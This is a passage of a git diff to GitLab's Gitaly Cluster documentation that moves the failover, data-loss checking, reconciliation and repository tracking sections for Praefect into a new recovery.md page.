-[relevant documentation](index.md#monitor-gitaly-cluster).
-
## Configure replication factor
WARNING:
@@ -1153,8 +1160,7 @@ Praefect regularly checks the health of each Gitaly node. This is used to automa
to a newly-elected primary Gitaly node if the current primary node is found to be unhealthy.
We recommend using [repository-specific primary nodes](#repository-specific-primary-nodes). This is
-[planned to be the only available election strategy](https://gitlab.com/gitlab-org/gitaly/-/issues/3574)
-from GitLab 14.0.
+[the only available election strategy](https://gitlab.com/gitlab-org/gitaly/-/issues/3574) from GitLab 14.0.
### Repository-specific primary nodes
@@ -1268,7 +1274,7 @@ To migrate existing clusters:
### Deprecated election strategies
WARNING:
-The below election strategies are deprecated and are scheduled for removal in GitLab 14.0.
+The below election strategies are deprecated and were removed in GitLab 14.0.
Migrate to [repository-specific primary nodes](#repository-specific-primary-nodes).
- **PostgreSQL:** Enabled by default until GitLab 14.0, and equivalent to:
@@ -1287,397 +1293,3 @@ Migrate to [repository-specific primary nodes](#repository-specific-primary-node
If a sufficient number of health checks fail for the current primary Gitaly node, a new primary is
elected. **Do not use with multiple Praefect nodes!** Using with multiple Praefect nodes is
likely to result in a split brain.
-
-## Primary Node Failure
-
-Gitaly Cluster recovers from a failing primary Gitaly node by promoting a healthy secondary as the
-new primary.
-
-In GitLab 14.1 and later, Gitaly Cluster:
-
-- Elects a healthy secondary with a fully up to date copy of the repository as the new primary.
-- Repository becomes unavailable if there are no fully up to date copies of it on healthy secondaries.
-
-To minimize data loss in GitLab 13.0 to 14.0, Gitaly Cluster:
-
-- Switches repositories that are outdated on the new primary to [read-only mode](#read-only-mode).
-- Elects the secondary with the least unreplicated writes from the primary to be the new
- primary. Because there can still be some unreplicated writes,
- [data loss can occur](#check-for-data-loss).
-
-### Read-only mode
-
-> - Introduced in GitLab 13.0 as [generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
-> - Between GitLab 13.0 and GitLab 13.2, read-only mode applied to the whole virtual storage and occurred whenever failover occurred.
-> - [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitaly/-/issues/2862), read-only mode applies on a per-repository basis and only occurs if a new primary is out of date.
-new primary. If the failed primary contained unreplicated writes, [data loss can occur](#check-for-data-loss).
-> - Removed in GitLab 14.1. Instead, repositories [become unavailable](#unavailable-repositories).
-
-When Gitaly Cluster switches to a new primary in GitLab 13.0 to 14.0, repositories enter
-read-only mode if they are out of date. This can happen after failing over to an outdated
-secondary. Read-only mode eases data recovery efforts by preventing writes that may conflict
-with the unreplicated writes on other nodes.
-
-To enable writes again in GitLab 13.0 to 14.0, an administrator can:
-
-1. [Check](#check-for-data-loss) for data loss.
-1. Attempt to [recover](#data-recovery) missing data.
-1. Either [enable writes](#enable-writes-or-accept-data-loss) in the virtual storage or
- [accept data loss](#enable-writes-or-accept-data-loss) if necessary, depending on the version of
- GitLab.
-
-## Unavailable repositories
-
-> - From GitLab 13.0 through 14.0, repositories became read-only if they were outdated on the primary but fully up to date on a healthy secondary. `dataloss` sub-command displays read-only repositories by default through these versions.
-> - Since GitLab 14.1, Praefect contains more responsive failover logic which immediately fails over to one of the fully up to date secondaries rather than placing the repository in read-only mode. Since GitLab 14.1, the `dataloss` sub-command displays repositories which are unavailable due to having no fully up to date copies on healthy Gitaly nodes.
-
-A repository is unavailable if all of its up to date replicas are unavailable. Unavailable repositories are
-not accessible through Praefect to prevent serving stale data that may break automated tooling.
-
-### Check for data loss
-
-The Praefect `dataloss` subcommand identifies:
-
-- Copies of repositories in GitLab 13.0 to GitLab 14.0 that at are likely to be outdated.
- This can help identify potential data loss after a failover.
-- Repositories in GitLab 14.1 and later that are unavailable. This helps identify potential
- data loss and repositories which are no longer accessible because all of their up-to-date
- replicas copies are unavailable.
-
-The following parameters are available:
-
-- `-virtual-storage` that specifies which virtual storage to check. Because they might require
- an administrator to intervene, the default behavior is to display:
- - In GitLab 13.0 to 14.0, copies of read-only repositories.
- - In GitLab 14.1 and later, unavailable repositories.
-- In GitLab 14.1 and later, [`-partially-unavailable`](#unavailable-replicas-of-available-repositories)
- that specifies whether to include in the output repositories that are available but have
- some assigned copies that are not available.
-
-NOTE:
-`dataloss` is still in beta and the output format is subject to change.
-
-To check for repositories with outdated primaries or for unavailable repositories, run:
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>]
-```
-
-Every configured virtual storage is checked if none is specified:
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss
-```
-
-Repositories are listed in the output that have either:
-
-- An outdated copy of the repository on the primary, in GitLab 13.0 to GitLab 14.0.
-- No healthy and fully up-to-date copies available, in GitLab 14.1 and later.
-
-The following information is printed for each repository:
-
-- A repository's relative path to the storage directory identifies each repository and groups the related
- information.
-- The repository's current status is printed in parentheses next to the disk path:
- - In GitLab 13.0 to 14.0, either `(read-only)` if the repository's primary node is outdated
- and can't accept writes. Otherwise, `(writable)`.
- - In GitLab 14.1 and later, `(unavailable)` is printed next to the disk path if the
- repository is unavailable.
-- The primary field lists the repository's current primary. If the repository has no primary, the field shows
- `No Primary`.
-- The In-Sync Storages lists replicas which have replicated the latest successful write and all writes
- preceding it.
-- The Outdated Storages lists replicas which contain an outdated copy of the repository. Replicas which have no copy
- of the repository but should contain it are also listed here. The maximum number of changes the replica is missing
- is listed next to replica. It's important to notice that the outdated replicas may be fully up to date or contain
- later changes but Praefect can't guarantee it.
-
-Additional information includes:
-
-- Whether a node is assigned to host the repository is listed with each node's status.
- `assigned host` is printed next to nodes that are assigned to store the repository. The
- text is omitted if the node contains a copy of the repository but is not assigned to store
- the repository. Such copies aren't kept in sync by Praefect, but may act as replication
- sources to bring assigned copies up to date.
-- In GitLab 14.1 and later, `unhealthy` is printed next to the copies that are located
- on unhealthy Gitaly nodes.
-
-Example output:
-
-```shell
-Virtual storage: default
- Outdated repositories:
- @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (unavailable):
- Primary: gitaly-1
- In-Sync Storages:
- gitaly-2, assigned host, unhealthy
- Outdated Storages:
- gitaly-1 is behind by 3 changes or less, assigned host
- gitaly-3 is behind by 3 changes or less
-```
-
-A confirmation is printed out when every repository is available. For example:
-
-```shell
-Virtual storage: default
- All repositories are available!
-```
-
-#### Unavailable replicas of available repositories
-
-NOTE:
-In GitLab 14.0 and earlier, the flag is `-partially-replicated` and the output shows any repositories with assigned nodes with outdated
-copies.
-
-To also list information of repositories which are available but are unavailable from some of the assigned nodes,
-use the `-partially-unavailable` flag.
-
-A repository is available if there is a healthy, up to date replica available. Some of the assigned secondary
-replicas may be temporarily unavailable for access while they are waiting to replicate the latest changes.
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>] [-partially-unavailable]
-```
-
-Example output:
-
-```shell
-Virtual storage: default
- Outdated repositories:
- @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git:
- Primary: gitaly-1
- In-Sync Storages:
- gitaly-1, assigned host
- Outdated Storages:
- gitaly-2 is behind by 3 changes or less, assigned host
- gitaly-3 is behind by 3 changes or less
-```
-
-With the `-partially-unavailable` flag set, a confirmation is printed out if every assigned replica is fully up to
-date and healthy.
-
-For example:
-
-```shell
-Virtual storage: default
- All repositories are fully available on all assigned storages!
-```
-
-### Check repository checksums
-
-To check a project's repository checksums across on all Gitaly nodes, run the
-[replicas Rake task](../raketasks/praefect.md#replica-checksums) on the main GitLab node.
-
-### Accept data loss
-
-WARNING:
-`accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data
-[recovery efforts](#data-recovery) must be performed before using it.
-
-If it is not possible to bring one of the up to date replicas back online, you may have to accept data
-loss. When accepting data loss, Praefect marks the chosen replica of the repository as the latest version
-and replicates it to the other assigned Gitaly nodes. This process overwrites any other version of the
-repository so care must be taken.
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss
--virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
-```
-
-### Enable writes or accept data loss
-
-WARNING:
-`accept-dataloss` causes permanent data loss by overwriting other versions of the repository.
-Data [recovery efforts](#data-recovery) must be performed before using it.
-
-Praefect provides the following subcommands to re-enable writes or accept data loss:
-
-- In GitLab 13.2 and earlier, `enable-writes` to re-enable virtual storage for writes after
- data recovery attempts:
-
- ```shell
- sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml enable-writes -virtual-storage <virtual-storage>
- ```
-
-- In GitLab 13.3 and later, if it is not possible to bring one of the up to date nodes back
- online, you may have to accept data loss:
-
- ```shell
- sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss -virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
- ```
-
- When accepting data loss, Praefect:
-
- 1. Marks the chosen copy of the repository as the latest version.
- 1. Replicates the copy to the other assigned Gitaly nodes.
-
- This process overwrites any other copy of the repository so care must be taken.
-
-## Data recovery
-
-If a Gitaly node fails replication jobs for any reason, it ends up hosting outdated versions of the
-affected repositories. Praefect provides tools for:
-
-- [Automatic](#automatic-reconciliation) reconciliation, for GitLab 13.4 and later.
-- [Manual](#manual-reconciliation) reconciliation, for:
- - GitLab 13.3 and earlier.
- - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table. In
- GitLab 13.6 and later, [a migration is run](https://gitlab.com/gitlab-org/gitaly/-/issues/3033)
- when Praefect starts for these repositories.
-
-These tools reconcile the outdated repositories to bring them fully up to date again.
-
-### Automatic reconciliation
-
-> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2717) in GitLab 13.4.
-
-Praefect automatically reconciles repositories that are not up to date. By default, this is done every
-five minutes. For each outdated repository on a healthy Gitaly node, the Praefect picks a
-random, fully up-to-date replica of the repository on another healthy Gitaly node to replicate from. A
-replication job is scheduled only if there are no other replication jobs pending for the target
-repository.
-
-The reconciliation frequency can be changed via the configuration. The value can be any valid
-[Go duration value](https://golang.org/pkg/time/#ParseDuration). Values below 0 disable the feature.
-
-Examples:
-
-```ruby
-praefect['reconciliation_scheduling_interval'] = '5m' # the default value
-```
-
-```ruby
-praefect['reconciliation_scheduling_interval'] = '30s' # reconcile every 30 seconds
-```
-
-```ruby
-praefect['reconciliation_scheduling_interval'] = '0' # disable the feature
-```
-
-### Manual reconciliation
-
-WARNING:
-The `reconcile` sub-command was removed in GitLab 14.1. Use [automatic reconciliation](#automatic-reconciliation) instead. Manual reconciliation may produce excess replication jobs and is limited in functionality. Manual reconciliation does not work when [repository-specific primary nodes](#repository-specific-primary-nodes) are
-enabled.
-
-The Praefect `reconcile` sub-command allows for the manual reconciliation between two Gitaly nodes. The
-command replicates every repository on a later version on the reference storage to the target storage.
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -reference <up-to-date-storage> -target <outdated-storage> -f
-```
-
-- Replace the placeholder `<virtual-storage>` with the virtual storage containing the Gitaly node storage to be checked.
-- Replace the placeholder `<up-to-date-storage>` with the Gitaly storage name containing up to date repositories.
-- Replace the placeholder `<outdated-storage>` with the Gitaly storage name containing outdated repositories.
-
-### Manually remove repositories
-
-> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3767) in GitLab 14.3.
-
-The `remove-repository` Praefect sub-command removes repositories from a Gitaly Cluster. It removes
-all state associated with a given repository including:
-
-- On-disk repositories on all relevant Gitaly nodes.
-- Any database state tracked by Praefect.
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml remove-repository -virtual-storage <virtual-storage> -repository <repository>
-```
-
-- `-virtual-storage` is the virtual storage the repository is located in. Virtual storages are configured in `/etc/gitlab/gitlab.rb` under `praefect['virtual_storages]` and looks like the following:
-
- ```ruby
- praefect['virtual_storages'] = {
- 'default' => {
- ...
- },
- 'storage-1' => {
- ...
- }
- }
- ```
-
- In this example, the virtual storage to specify is `default` or `storage-1`.
-
-- `-repository` is the repository's relative path in the storage [beginning with `@hashed`](../repository_storage_types.md#hashed-storage).
- For example:
-
- ```plaintext
- @hashed/f5/ca/f5ca38f748a1d6eaf726b8a42fb575c3c71f1864a8143301782de13da2d9202b.git
- ```
-
-Parts of the repository can continue to exist after running `remove-repository`. This can be because of:
-
-- A deletion error.
-- An in-flight RPC call targeting the repository.
-
-If this occurs, run `remove-repository` again.
-
-### Manually list untracked repositories
-
-> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3926) in GitLab 14.4.
-
-The `list-untracked-repositories` Praefect sub-command lists repositories of the Gitaly Cluster that both:
-
-- Exist for at least one Gitaly storage.
-- Aren't tracked in the Praefect database.
-
-The command outputs:
-
-- Result to `STDOUT` and the command's logs.
-- Errors to `STDERR`.
-
-Each entry is a complete JSON string with a newline at the end (configurable using the
-`-delimiter` flag). For example:
-
-```plaintext
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml list-untracked-repositories
-{"virtual_storage":"default","storage":"gitaly-1","relative_path":"@hashed/ab/cd/abcd123456789012345678901234567890123456789012345678901234567890.git"}
-{"virtual_storage":"default","storage":"gitaly-1","relative_path":"@hashed/ab/cd/abcd123456789012345678901234567890123456789012345678901234567891.git"}
-```
-
-### Manually track repositories
-
-> [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5658) in GitLab 14.4.
-
-The `track-repository` Praefect sub-command adds repositories on disk to the Praefect database to be tracked.
-
-```shell
-sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml track-repository -virtual-storage <virtual-storage> -repository <repository>
-```
-
-- `-virtual-storage` is the virtual storage the repository is located in. Virtual storages are configured in `/etc/gitlab/gitlab.rb` under `praefect['virtual_storages]` and looks like the following:
-
- ```ruby
- praefect['virtual_storages'] = {
- 'default' => {
- ...
- },
- 'storage-1' => {
- ...
- }
- }
- ```
-
- In this example, the virtual storage to specify is `default` or `storage-1`.
-
-- `-repository` is the repository's relative path in the storage [beginning with `@hashed`](../repository_storage_types.md#hashed-storage).
- For example:
-
- ```plaintext
- @hashed/f5/ca/f5ca38f748a1d6eaf726b8a42fb575c3c71f1864a8143301782de13da2d9202b.git
- ```
-
-- `-authoritative-storage` is the storage we want Praefect to treat as the primary. Required if
- [per-repository replication](#configure-replication-factor) is set as the replication strategy.
-
-The command outputs:
-
-- Results to `STDOUT` and the command's logs.
-- Errors to `STDERR`.
-
-This command fails if:
-
-- The repository is already being tracked by the Praefect database.
-- The repository does not exist on disk.
diff --git a/doc/administration/gitaly/recovery.md b/doc/administration/gitaly/recovery.md
new file mode 100644
index 00000000000..e1b9a73908d
--- /dev/null
+++ b/doc/administration/gitaly/recovery.md
@@ -0,0 +1,418 @@
+---
+stage: Create
+group: Gitaly
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference
+---
+
+# Recovery options
+
+Gitaly Cluster can [recover from certain types of failure](recovery.md).
+
+## Primary Node Failure
+
+Gitaly Cluster recovers from a failing primary Gitaly node by promoting a healthy secondary as the
+new primary.
+
+In GitLab 14.1 and later, Gitaly Cluster:
+
+- Elects a healthy secondary with a fully up to date copy of the repository as the new primary.
+- Repository becomes unavailable if there are no fully up to date copies of it on healthy secondaries.
+
+To minimize data loss in GitLab 13.0 to 14.0, Gitaly Cluster:
+
+- Switches repositories that are outdated on the new primary to [read-only mode](#read-only-mode).
+- Elects the secondary with the least unreplicated writes from the primary to be the new
+ primary. Because there can still be some unreplicated writes,
+ [data loss can occur](#check-for-data-loss).
+
+### Read-only mode
+
+> - Introduced in GitLab 13.0 as [generally available](https://about.gitlab.com/handbook/product/gitlab-the-product/#generally-available-ga).
+> - Between GitLab 13.0 and GitLab 13.2, read-only mode applied to the whole virtual storage and occurred whenever failover occurred.
+> - [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitaly/-/issues/2862), read-only mode applies on a per-repository basis and only occurs if a new primary is out of date.
+new primary. If the failed primary contained unreplicated writes, [data loss can occur](#check-for-data-loss).
+> - Removed in GitLab 14.1. Instead, repositories [become unavailable](#unavailable-repositories).
+
+When Gitaly Cluster switches to a new primary in GitLab 13.0 to 14.0, repositories enter
+read-only mode if they are out of date. This can happen after failing over to an outdated
+secondary. Read-only mode eases data recovery efforts by preventing writes that may conflict
+with the unreplicated writes on other nodes.
+
+To enable writes again in GitLab 13.0 to 14.0, an administrator can:
+
+1. [Check](#check-for-data-loss) for data loss.
+1. Attempt to [recover](#data-recovery) missing data.
+1. Either [enable writes](#enable-writes-or-accept-data-loss) in the virtual storage or
+ [accept data loss](#enable-writes-or-accept-data-loss) if necessary, depending on the version of
+ GitLab.
+
+## Unavailable repositories
+
+> - From GitLab 13.0 through 14.0, repositories became read-only if they were outdated on the primary but fully up to date on a healthy secondary. `dataloss` sub-command displays read-only repositories by default through these versions.
+> - Since GitLab 14.1, Praefect contains more responsive failover logic which immediately fails over to one of the fully up to date secondaries rather than placing the repository in read-only mode. Since GitLab 14.1, the `dataloss` sub-command displays repositories which are unavailable due to having no fully up to date copies on healthy Gitaly nodes.
+
+A repository is unavailable if all of its up to date replicas are unavailable. Unavailable repositories are
+not accessible through Praefect to prevent serving stale data that may break automated tooling.
+
+### Check for data loss
+
+The Praefect `dataloss` subcommand identifies:
+
+- Copies of repositories in GitLab 13.0 to GitLab 14.0 that at are likely to be outdated.
+ This can help identify potential data loss after a failover.
+- Repositories in GitLab 14.1 and later that are unavailable. This helps identify potential
+ data loss and repositories which are no longer accessible because all of their up-to-date
+ replicas copies are unavailable.
+
+The following parameters are available:
+
+- `-virtual-storage` that specifies which virtual storage to check. Because they might require
+ an administrator to intervene, the default behavior is to display:
+ - In GitLab 13.0 to 14.0, copies of read-only repositories.
+ - In GitLab 14.1 and later, unavailable repositories.
+- In GitLab 14.1 and later, [`-partially-unavailable`](#unavailable-replicas-of-available-repositories)
+ that specifies whether to include in the output repositories that are available but have
+ some assigned copies that are not available.
+
+NOTE:
+`dataloss` is still in beta and the output format is subject to change.
+
+To check for repositories with outdated primaries or for unavailable repositories, run:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>]
+```
+
+Every configured virtual storage is checked if none is specified:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss
+```
+
+Repositories are listed in the output that have either:
+
+- An outdated copy of the repository on the primary, in GitLab 13.0 to GitLab 14.0.
+- No healthy and fully up-to-date copies available, in GitLab 14.1 and later.
+
+The following information is printed for each repository:
+
+- A repository's relative path to the storage directory identifies each repository and groups the related
+ information.
+- The repository's current status is printed in parentheses next to the disk path:
+ - In GitLab 13.0 to 14.0, either `(read-only)` if the repository's primary node is outdated
+ and can't accept writes. Otherwise, `(writable)`.
+ - In GitLab 14.1 and later, `(unavailable)` is printed next to the disk path if the
+ repository is unavailable.
+- The primary field lists the repository's current primary. If the repository has no primary, the field shows
+ `No Primary`.
+- The In-Sync Storages lists replicas which have replicated the latest successful write and all writes
+ preceding it.
+- The Outdated Storages lists replicas which contain an outdated copy of the repository. Replicas which have no copy
+ of the repository but should contain it are also listed here. The maximum number of changes the replica is missing
+ is listed next to replica. It's important to notice that the outdated replicas may be fully up to date or contain
+ later changes but Praefect can't guarantee it.
+
+Additional information includes:
+
+- Whether a node is assigned to host the repository is listed with each node's status.
+ `assigned host` is printed next to nodes that are assigned to store the repository. The
+ text is omitted if the node contains a copy of the repository but is not assigned to store
+ the repository. Such copies aren't kept in sync by Praefect, but may act as replication
+ sources to bring assigned copies up to date.
+- In GitLab 14.1 and later, `unhealthy` is printed next to the copies that are located
+ on unhealthy Gitaly nodes.
+
+Example output:
+
+```shell
+Virtual storage: default
+ Outdated repositories:
+ @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git (unavailable):
+ Primary: gitaly-1
+ In-Sync Storages:
+ gitaly-2, assigned host, unhealthy
+ Outdated Storages:
+ gitaly-1 is behind by 3 changes or less, assigned host
+ gitaly-3 is behind by 3 changes or less
+```
+
+A confirmation is printed out when every repository is available. For example:
+
+```shell
+Virtual storage: default
+ All repositories are available!
+```
+
+#### Unavailable replicas of available repositories
+
+NOTE:
+In GitLab 14.0 and earlier, the flag is `-partially-replicated` and the output shows any repositories with assigned nodes with outdated
+copies.
+
+To also list information of repositories which are available but are unavailable from some of the assigned nodes,
+use the `-partially-unavailable` flag.
+
+A repository is available if there is a healthy, up to date replica available. Some of the assigned secondary
+replicas may be temporarily unavailable for access while they are waiting to replicate the latest changes.
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml dataloss [-virtual-storage <virtual-storage>] [-partially-unavailable]
+```
+
+Example output:
+
+```shell
+Virtual storage: default
+ Outdated repositories:
+ @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git:
+ Primary: gitaly-1
+ In-Sync Storages:
+ gitaly-1, assigned host
+ Outdated Storages:
+ gitaly-2 is behind by 3 changes or less, assigned host
+ gitaly-3 is behind by 3 changes or less
+```
+
+With the `-partially-unavailable` flag set, a confirmation is printed out if every assigned replica is fully up to
+date and healthy.
+
+For example:
+
+```shell
+Virtual storage: default
+ All repositories are fully available on all assigned storages!
+```
+
+### Check repository checksums
+
+To check a project's repository checksums across on all Gitaly nodes, run the
+[replicas Rake task](../raketasks/praefect.md#replica-checksums) on the main GitLab node.
+
+### Accept data loss
+
+WARNING:
+`accept-dataloss` causes permanent data loss by overwriting other versions of the repository. Data
+[recovery efforts](#data-recovery) must be performed before using it.
+
+If it is not possible to bring one of the up to date replicas back online, you may have to accept data
+loss. When accepting data loss, Praefect marks the chosen replica of the repository as the latest version
+and replicates it to the other assigned Gitaly nodes. This process overwrites any other version of the
+repository so care must be taken.
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss
+-virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
+```
+
+### Enable writes or accept data loss
+
+WARNING:
+`accept-dataloss` causes permanent data loss by overwriting other versions of the repository.
+Data [recovery efforts](#data-recovery) must be performed before using it.
+
+Praefect provides the following subcommands to re-enable writes or accept data loss:
+
+- In GitLab 13.2 and earlier, `enable-writes` to re-enable virtual storage for writes after
+ data recovery attempts:
+
+ ```shell
+ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml enable-writes -virtual-storage <virtual-storage>
+ ```
+
+- In GitLab 13.3 and later, if it is not possible to bring one of the up to date nodes back
+ online, you may have to accept data loss:
+
+ ```shell
+ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml accept-dataloss -virtual-storage <virtual-storage> -repository <relative-path> -authoritative-storage <storage-name>
+ ```
+
+ When accepting data loss, Praefect:
+
+ 1. Marks the chosen copy of the repository as the latest version.
+ 1. Replicates the copy to the other assigned Gitaly nodes.
+
+ This process overwrites any other copy of the repository so care must be taken.
+
+## Data recovery
+
+If a Gitaly node fails replication jobs for any reason, it ends up hosting outdated versions of the
+affected repositories. Praefect provides tools for:
+
+- [Automatic](#automatic-reconciliation) reconciliation, for GitLab 13.4 and later.
+- [Manual](#manual-reconciliation) reconciliation, for:
+ - GitLab 13.3 and earlier.
+ - Repositories upgraded to GitLab 13.4 and later without entries in the `repositories` table. In
+ GitLab 13.6 and later, [a migration is run](https://gitlab.com/gitlab-org/gitaly/-/issues/3033)
+ when Praefect starts for these repositories.
+
+These tools reconcile the outdated repositories to bring them fully up to date again.
+
+### Automatic reconciliation
+
+> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/issues/2717) in GitLab 13.4.
+
+Praefect automatically reconciles repositories that are not up to date. By default, this is done every
+five minutes. For each outdated repository on a healthy Gitaly node, the Praefect picks a
+random, fully up-to-date replica of the repository on another healthy Gitaly node to replicate from. A
+replication job is scheduled only if there are no other replication jobs pending for the target
+repository.
+
+The reconciliation frequency can be changed via the configuration. The value can be any valid
+[Go duration value](https://pkg.go.dev/time#ParseDuration). Values below 0 disable the feature.
+
+Examples:
+
+```ruby
+praefect['reconciliation_scheduling_interval'] = '5m' # the default value
+```
+
+```ruby
+praefect['reconciliation_scheduling_interval'] = '30s' # reconcile every 30 seconds
+```
+
+```ruby
+praefect['reconciliation_scheduling_interval'] = '0' # disable the feature
+```
+
+### Manual reconciliation
+
+WARNING:
+The `reconcile` sub-command was removed in GitLab 14.1. Use [automatic reconciliation](#automatic-reconciliation) instead.
+Manual reconciliation may produce excess replication jobs and is limited in functionality. Manual reconciliation does not
+work when [repository-specific primary nodes](praefect.md#repository-specific-primary-nodes) are enabled.
+
+The Praefect `reconcile` sub-command allows for the manual reconciliation between two Gitaly nodes. The
+command replicates every repository on a later version on the reference storage to the target storage.
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml reconcile -virtual <virtual-storage> -reference <up-to-date-storage> -target <outdated-storage> -f
+```
+
+- Replace the placeholder `<virtual-storage>` with the virtual storage containing the Gitaly node storage to be checked.
+- Replace the placeholder `<up-to-date-storage>` with the Gitaly storage name containing up to date repositories.
+- Replace the placeholder `<outdated-storage>` with the Gitaly storage name containing outdated repositories.
+
+### Manually remove repositories
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3767) in GitLab 14.3.
+> - [Introduced](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/4054) in GitLab 14.6, support for dry-run mode.
+
+The `remove-repository` Praefect sub-command removes a repository from a Gitaly Cluster, and all state associated with a given repository including:
+
+- On-disk repositories on all relevant Gitaly nodes.
+- Any database state tracked by Praefect.
+
+In GitLab 14.6 and later, by default, the command operates in dry-run mode. In earlier versions, the command didn't support dry-run mode. For example:
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml remove-repository -virtual-storage <virtual-storage> -repository <repository>
+```
+
+- Replace `<virtual-storage>` with the name of the virtual storage containing the repository.
+- Replace `<repository>` with the relative path of the repository to remove.
+- In GitLab 14.6 and later, add `-apply` to run the command outside of dry-run mode and remove the repository. For example:
+
+ ```shell
+ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml remove-repository -virtual-storage <virtual-storage> -repository <repository> -apply
+ ```
+
+- `-virtual-storage` is the virtual storage the repository is located in. Virtual storages are configured in `/etc/gitlab/gitlab.rb` under `praefect['virtual_storages]` and looks like the following:
+
+ ```ruby
+ praefect['virtual_storages'] = {
+ 'default' => {
+ ...
+ },
+ 'storage-1' => {
+ ...
+ }
+ }
+ ```
+
+ In this example, the virtual storage to specify is `default` or `storage-1`.
+
+- `-repository` is the repository's relative path in the storage [beginning with `@hashed`](../repository_storage_types.md#hashed-storage).
+ For example:
+
+ ```plaintext
+ @hashed/f5/ca/f5ca38f748a1d6eaf726b8a42fb575c3c71f1864a8143301782de13da2d9202b.git
+ ```
+
+Parts of the repository can continue to exist after running `remove-repository`. This can be because of:
+
+- A deletion error.
+- An in-flight RPC call targeting the repository.
+
+If this occurs, run `remove-repository` again.
+
+### Manually list untracked repositories
+
+> [Introduced](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3926) in GitLab 14.4.
+
+The `list-untracked-repositories` Praefect sub-command lists repositories of the Gitaly Cluster that both:
+
+- Exist for at least one Gitaly storage.
+- Aren't tracked in the Praefect database.
+
+The command outputs:
+
+- Result to `STDOUT` and the command's logs.
+- Errors to `STDERR`.
+
+Each entry is a complete JSON string with a newline at the end (configurable using the
+`-delimiter` flag). For example:
+
+```plaintext
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml list-untracked-repositories
+{"virtual_storage":"default","storage":"gitaly-1","relative_path":"@hashed/ab/cd/abcd123456789012345678901234567890123456789012345678901234567890.git"}
+{"virtual_storage":"default","storage":"gitaly-1","relative_path":"@hashed/ab/cd/abcd123456789012345678901234567890123456789012345678901234567891.git"}
+```
+
+### Manually track repositories
+
+> - [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5658) in GitLab 14.4.
+> - [Introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5789) in GitLab 14.6, support for immediate replication.
+
+The `track-repository` Praefect sub-command adds repositories on disk to the Praefect database to be tracked.
+
+```shell
+sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml track-repository -virtual-storage <virtual-storage> -repository <repository> -replicate-immediately
+```
+
+- `-virtual-storage` is the virtual storage the repository is located in. Virtual storages are configured in `/etc/gitlab/gitlab.rb` under `praefect['virtual_storages]` and looks like the following:
+
+ ```ruby
+ praefect['virtual_storages'] = {
+ 'default' => {
+ ...
+ },
+ 'storage-1' => {
+ ...
+ }
+ }
+ ```
+
+ In this example, the virtual storage to specify is `default` or `storage-1`.
+
+- `-repository` is the repository's relative path in the storage [beginning with `@hashed`](../repository_storage_types.md#hashed-storage).
+ For example:
+
+ ```plaintext
+ @hashed/f5/ca/f5ca38f748a1d6eaf726b8a42fb575c3c71f1864a8143301782de13da2d9202b.git
+ ```
+
+- `-authoritative-storage` is the storage we want Praefect to treat as the primary. Required if
+ [per-repository replication](praefect.md#configure-replication-factor) is set as the replication strategy.
